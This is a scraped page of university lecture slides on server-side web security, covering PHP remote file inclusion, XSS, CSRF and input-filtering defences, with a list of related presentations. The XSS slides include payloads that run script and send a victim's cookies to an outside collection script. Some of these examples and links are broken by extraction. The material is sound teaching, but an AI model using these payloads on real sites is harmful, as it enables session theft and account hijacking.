Cosc 4765 Server side Web security. Web security issues From Cenzic Vulnerability report 2014 https://info.cenzic.com/2013-Application-Security-Trends-Report.html.

Slides:



Advertisements
Similar presentations
Cross-Site Scripting Issues and Defenses Ed Skoudis Predictive Systems © 2002, Predictive Systems.
Advertisements

Nick Feamster CS 6262 Spring 2009
Incident Handling & Log Analysis in a Web Driven World Manindra Kishore.
What is code injection? Code injection is the exploitation of a computer bug that is caused by processing invalid data. Code injection can be used by.
HI-TEC 2011 SQL Injection. Client’s Browser HTTP or HTTPS Web Server Apache or IIS HTML Forms CGI Scripts Database SQL Server or Oracle or MySQL ODBC.
Hands-on SQL Injection Attack and Defense HI-TEC July 21, 2013.
PHP Hypertext Preprocessor Information Systems 337 Prof. Harry Plantinga.
Creating Stronger, Safer, Web Facing Code JPL IT Security Mary Rivera June 17, 2011.
©2009 Justin C. Klein Keane PHP Code Auditing Session 5 XSS & XSRF Justin C. Klein Keane
Common Exploits Aaron Cure Cypress Data Defense. SQL Injection.
WebGoat & WebScarab “What is computer security for $1000 Alex?”
EECS 354 Network Security Cross Site Scripting (XSS)
Cross Site Scripting a.k.a. XSS Szymon Siewior. Disclaimer Everything that will be shown, was created for strictly educational purposes. You may reuse.
COMP 321 Week 12. Overview Web Application Security  Authentication  Authorization  Confidentiality Cross-Site Scripting Lab 12-1 Introduction.
By Brian Vees.  SQL Injection  Username Enumeration  Cross Site Scripting (XSS)  Remote Code Execution  String Formatting Vulnerabilities.
Information Networking Security and Assurance Lab National Chung Cheng University The Ten Most Critical Web Application Security Vulnerabilities Ryan J.W.
It’s always better live. MSDN Events Securing Web Applications Part 1 of 2 Understanding Threats and Attacks.
Chapter 4 Application Security Knowledge and Test Prep
Lecture 16 Page 1 CS 236 Online Cross-Site Scripting XSS Many sites allow users to upload information –Blogs, photo sharing, Facebook, etc. –Which gets.
CROSS SITE SCRIPTING..! (XSS). Overview What is XSS? Types of XSS Real world Example Impact of XSS How to protect against XSS?
WEB SECURITY WORKSHOP TEXSAW 2013 Presented by Joshua Hammond Prepared by Scott Hand.
Web Application Attacks ECE 4112 Fall 2007 Group 9 Zafeer Khan & Simmon Yau.
 A cookie is a piece of text that a Web server can store on a user's hard disk.  Cookie data is simply name-value pairs stored on your hard disk by.
Introduction to InfoSec – Recitation 10 Nir Krakowski (nirkrako at post.tau.ac.il) Itamar Gilad (itamargi at post.tau.ac.il)
Cross-Site Scripting Vulnerabilities Adam Doupé 11/24/2014.
Prevent Cross-Site Scripting (XSS) attack
Lets Make our Web Applications Secure. Dipankar Sinha Project Manager Infrastructure and Hosting.
+ Websites Vulnerabilities. + Content Expand of The Internet Use of the Internet Examples Importance of the Internet How to find Security Vulnerabilities.
WEB SECURITY WEEK 3 Computer Security Group University of Texas at Dallas.
CSCI 6962: Server-side Design and Programming Secure Web Programming.
Lecture 14 – Web Security SFDV3011 – Advanced Web Development 1.
Web Application Access to Databases. Logistics Test 2: May 1 st (24 hours) Extra office hours: Friday 2:30 – 4:00 pm Tuesday May 5 th – you can review.
Ladd Van Tol Senior Software Engineer Security on the Web Part One - Vulnerabilities.
© All rights reserved. Zend Technologies, Inc. PHP Security Kevin Schroeder Zend Technologies.
November 13, 2008 Ohio Information Security Forum Attack Surface of Web Applications James Walden Northern Kentucky University
3-Protecting Systems Dr. John P. Abraham Professor UTPA.
Cross-Site Attacks James Walden Northern Kentucky University.
Web Application Security ECE ECE Internetwork Security What is a Web Application? An application generally comprised of a collection of scripts.
Security Scanners Mark Shtern. Popular attack targets Web – Web platform – Web application Windows OS Mac OS Linux OS Smartphone.
Top Five Web Application Vulnerabilities Vebjørn Moen Selmersenteret/NoWires.org Norsk Kryptoseminar Trondheim
School of Computing and Information Systems CS 371 Web Application Programming Security Avoiding and Preventing Attacks.
PHP2010/11 : [‹#›] PHP Security. PHP2010/11 : [‹#›] Two Golden Rules 1.FILTER external input Obvious.. $_POST, $_COOKIE, etc. Less obvious.. $_SERVER.
CIT 380: Securing Computer SystemsSlide #1 CIT 380: Securing Computer Systems Web Security.
October 3, 2008IMI Security Symposium Application Security through a Hacker’s Eyes James Walden Northern Kentucky University
Security Attacks CS 795. Buffer Overflow Problem Buffer overflows can be triggered by inputs that are designed to execute code, or alter the way the program.
SQL INJECTIONS Presented By: Eloy Viteri. What is SQL Injection An SQL injection attack is executed when a web page allows users to enter text into a.
Web Applications Testing By Jamie Rougvie Supported by.
By Sean Rose and Erik Hazzard.  SQL Injection is a technique that exploits security weaknesses of the database layer of an application in order to gain.
Lecture 16 Page 1 CS 236 Online Web Security CS 236 On-Line MS Program Networks and Systems Security Peter Reiher.
Implementing and Using the SIRWEB Interface Setup of the CGI script and web procfile Connecting to your database using HTML Retrieving data using the CGI.
Presented By: Chandra Kollipara. Cross-Site Scripting: Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected.
Web Security Lesson Summary ●Overview of Web and security vulnerabilities ●Cross Site Scripting ●Cross Site Request Forgery ●SQL Injection.
PHP Error Handling & Reporting. Error Handling Never allow a default error message or error number returned by the mysql_error() and mysql_errno() functions.
Web2.0 Secure Development Practice Bruce Xia
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
Session 11: Cookies, Sessions ans Security iNET Academy Open Source Web Development.
By Collin Donaldson. Hacking is only legal under the following circumstances: 1.You hack (penetration test) a device/network you own. 2.You gain explicit,
Carrie Estes Collin Donaldson.  Zero day attacks  “zero day”  Web application attacks  Signing up for a class  Hardening the web server  Enhancing.
Page 1 Ethical Hacking by Douglas Williams. Page 2 Intro Attackers can potentially use many different paths through your application to do harm to your.
SlideSet #20: Input Validation and Cross-site Scripting Attacks (XSS) SY306 Web and Databases for Cyber Operations.
Group 18: Chris Hood Brett Poche
Building Secure ColdFusion Applications
Web Application Vulnerabilities, Detection Mechanisms, and Defenses
TOPIC: Web Security (Part-4)
World Wide Web policy.
CS 371 Web Application Programming
What is REST API ? A REST (Representational State Transfer) Server simply provides access to resources and the REST client accesses and presents the.
CSC 495/583 Topics of Software Security Intro to Web Security
Presentation transcript:

Cosc 4765 Server side Web security

Web security issues From Cenzic Vulnerability report

SQL Injections Discussed in another lecture Web Server Configuration and Web server versions –Poorly configured systems. Allowing PHP remote file include –Version allows attackers to look the version to find a vulnerably in the web server.

PHP Remote File Include By default, PHP allows file functions to access resources on the Internet using a feature called "allow_url_fopen". When PHP scripts allow user input to influence file names, remote file inclusion can be the result.

PHP Remote File Include This attack allows (but is not limited to): Remote code execution Remote root kit installation On Windows, complete system compromise may be possible through the use of PHP’s SMB file wrappers Fixes: –Input validation and sanitizing –Config allow_url_fopen off will break apps that rely on this feature, but protect against a very active exploit vector.

Authentication and Authorization errors –Generally the ability to avoid a required login screen Or hack another login normally via XSS or CRSF Information leakage. –Data is displayed that is not necessary. Example UW used to show your SSN on every page of wyoweb. –Or displayed on “not protected” pages. address, phone number, etc. Why is this important?

XSS Works by the trust a user has for the site. –Broadly defined as tricking web pages into displaying web surfer supplied data capable of altering the page for the viewer. Most dynamic web pages change to display info for a user, but XSS changes the pages to get information from the viewer, normally cookies and other data.

Some necessary knowledge A basic understanding of URL structure An understanding of html, JavaScript Some understanding of html encoding, http request methods web application technologies like ASP, php, etc.

What can XSS do? Cookie theft and Account Hijacking –Since XSS executes arbitrary web code on the clients browser. –Many cookie for older web applications hold all the information needed to login to an account (“Remember this computer”) verification info on the client side, state, and/or credentials –Allows for Identity theft, accessing confidential resources, pay content, even denial of account services.

What can XSS do? (2) User Tracking / Statistics –Able to gain information on sites user’s –Able to monitor their clicks through the vulnerable site. –Maybe able link users address to clicks and interests good for spammers!

What can XSS do? (3) Browser / User exploitation –Possible Examples Use the credentials of a site to do what I want –Like using Microsoft site. –If there is a XSS hole in their site to run my malware. »Many people would press OK to run code from microsoft. High distribution rate and target audience Don’t exploit the site, just steal the users from the site and redirect them to another. Force users into actions onto another site on my behalf but remove me from the evidence.

What can XSS do? (4) Misinformation –dissemination of disinformation Since we can possibly rewrite content on web pages –And of course… SPAM and scams.

How to avoid XSS Most of it is avoidable, just like SQL injection and buffer overflow. –but like these, it’s sometimes easier to miss –especially on large and complex web sites. –One big one: –Turn off error messages on productions web sites. How? –Just like Buffer Overflow and SQL injection –Proper filtering on ALL user input data.

Example Typical script called welcome.cgi –GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0 –Host: Response – Welcome! –Hi Joe Hacker – Welcome to our system… –

Example abused me= alert(document.cookie) Since the link is clicked on the response is: – Welcome! –Hi alert(document.cookie) – Welcome to our system... – Which is executed by the browser

Example abused (2) Better example: – window.open(“ okie=”%2Bdocument.cookie) Returns to user – window.open(“ cgi?cookie=”+document.cookie) Open a webpage that gets the cookie info about the vulnerable website.

Preventing XSS Don’t just filter dangerous characters Filter out everything that is not necessary Make sure there is one central function to sanitize everything. –So when it is added to, everything gets it.

Filter Examples Perl –Allow A through Z any case, Zero through Nine, period and dash. Remove everything else. –$var =~ s/[^a-z0-9 \-.]//ig;

Filter Examples (2) PHP –Use stripe_tags or htmlentities functions echo htmlentities($name); –Or use substitition again. echo preg_replace(‘/[^a-z0-9.\-]/i,'',$name);

Demo In class Demo of how XSS works

Filter output data Not the html, but the data. similar to filtering input except that you filter characters that are written out to the client –May cause problems with output for dynamic web pages. example, would be writing as table

Possible Sources of Malicious Data Query String Cookies Posted data URLs and pieces of URLs, such as PATH_INFO Data retrieved from users that is persisted in some fashion such as in a database

Cross-site request forgeries (CSRF) Works by exploiting the trust that a site has for the user. –Works by specific urls allowing specific actions to be performed when requested –Same idea as one-click purchase –Task performed by the user who already logged into the site. The browser makes the request, without the user knowledge. Can be done with XXS.

Example CSRF HTML Methods –IMG SRC –SCRIPT SRC –IFRAME SRC JavaScript Methods var foo = new Image(); foo.src = " Example code: –

Major hacks with CSRF A vulnerability in GMail was discovered in January 2007 which allowed a attacker to steal a GMail user's contact list.vulnerability in GMailGMail user's contact list A different issue was discovered in Netflix which allowed an attacker to change the name and address on the account, as well as add movies to the rental queue etc...Netflix

Fixes for CSRF A user should always have to login. –No “Remember ME” or something of that sort, which is based on a cookie logoin. –Short session periods (maybe 5 minutes) can also reduce the odds of successful attacks. Adding a session token to each request –But XXS can get around this by sniffing the session token.

Tools The list is older, maybe still useful – 88/Web%20Application%20Security%20Scan ner%20Listhttp://projects.webappsec.org/w/page/ /Web%20Application%20Security%20Scan ner%20List – From ability_Scanners.html#Web_Applications_Issues Source code scanners – e_Security_Analyzers.htmlhttp://samate.nist.gov/index.php/Source_Cod e_Security_Analyzers.html

References eb-security-primer-are-you-part-of-the-problem/ eb-security-primer-are-you-part-of-the-problem/ HOWTO: Prevent Cross-Site Scripting Security Issues Cross Site Scripting Scanning ("XSSS")

Q A &